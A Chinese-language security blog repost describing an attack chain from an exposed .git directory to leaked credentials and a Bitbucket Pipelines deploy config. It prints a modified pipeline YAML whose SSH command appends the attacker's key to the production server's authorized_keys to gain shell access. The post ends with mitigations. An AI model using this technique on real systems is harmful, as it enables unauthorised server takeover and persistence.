研究人员破解 CI/CD 管道,实现服务器接管

admin 2024年9月10日23:33:23评论50 views字数 1591阅读5分18秒阅读模式

研究人员破解 CI/CD 管道,实现服务器接管

介绍

在当今快速发展和持续集成的世界中,安全漏洞很容易被忽视。最近,我发现了一个严重的漏洞链,它从一个公开的.git目录开始,导致了整个服务器的接管。这篇博客将介绍整个事件链,概述每个弱点如何加剧了这个问题。

.git 目录的公开暴露

令人惊讶的是,许多网站仍将其.git目录公开。在扫描目标上的此类暴露时,我注意到该.git文件夹是可公开访问的。这是一个严重的漏洞,因为它.git存储了项目的整个版本历史记录,包括配置文件,其中可能包含敏感信息。

研究人员破解 CI/CD 管道,实现服务器接管

.git 包含敏感信息,绝不能公开

影响:通过访问.git/config,我找到了凭证,这为进一步的利用打开了大门。我可以使用配置文件中的 URL 克隆整个存储库。

探索 Bitbucket Pipelines 的存储库和发现

使用找到的凭据克隆存储库后,我开始探索存储库的内容。在此过程中,我发现代码所有者使用 Bitbucket Pipelines 进行部署。

Bitbucket Pipelines 允许您在有人与您的存储库交互(推送代码、提出问题、打开 PR 等)时自动运行代码。在本例中,管道设置为登录到生产服务器,cd进入保存源代码的文件夹,然后运行git pull,这将更新正在运行的应用程序的源代码。示例管道如下所示:

pipelines:
branches:
master:
- step:
name: Update deployment
script:
- pipe: atlassian/ssh-run:0.2.8
variables:
SSH_USER: 'ubuntu'
MODE: 'command'
SERVER: 'damn.vulnerable.site'
COMMAND: 'cd /path/to/app && git pull'

主要发现:管道配置文件显示,作为自动部署过程的一部分,SSH 正被用于登录生产服务器。

将恶意更改推送至管道

我修改了管道配置,将我的 SSH 密钥添加到生产服务器的authorized_keys文件中。通过更改管道配置,我确保下次运行管道时,我的密钥将被添加到允许登录服务器的授权 SSH 密钥中。以下是我修改后的管道文件的样子:

pipelines:
branches:
master:
- step:
name: Pushed to Master
script:
- pipe: atlassian/ssh-run:0.2.8
variables:
SSH_USER: 'ubuntu'
MODE: 'command'
SERVER: 'damn.vulnerable.site'
COMMAND: 'mkdir -p /home/ubuntu/.ssh && echo ssh-rsa AAAA...snip...sw== >> /home/ubuntu/.ssh/authorized_keys && chmod 700 /home/ubuntu/.ssh && chmod 600 /home/ubuntu/.ssh/authorized_keys && cd /path/to/app && git pull'

SSH 访问和服务器接管

提交更改并将其推送回存储库后,我只需等待管道运行即可。几分钟后,我尝试登录服务器,它很乐意授予我 shell 访问权限。从这里开始,服务器实际上已被攻陷,我完全控制了它。

研究人员破解 CI/CD 管道,实现服务器接管

最后一步:我登录到服务器,确认 SSH 访问正常,并且能够执行任何命令。

对于那些目光敏锐的人来说,还存在一个可立即提升权限的漏洞,执行该漏洞即可获得 root 访问权限。

缓解策略

监控您的 SSH 密钥。定期检查谁有权访问您的生产服务器,并删除任何不必要或过时的密钥。

切勿公开您的.git目录。使用服务器配置来阻止对此目录的访问。

结论

此漏洞链凸显了敏感目录公开暴露和 CI/CD 管道处理不当所带来的风险。它提醒开发人员和系统管理员定期审核其代码存储库、部署管道和服务器配置,以防止此类攻击。

原文始发于微信公众号(独眼情报):研究人员破解 CI/CD 管道,实现服务器接管

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月10日23:33:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   研究人员破解 CI/CD 管道,实现服务器接管https://cn-sec.com/archives/3150413.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息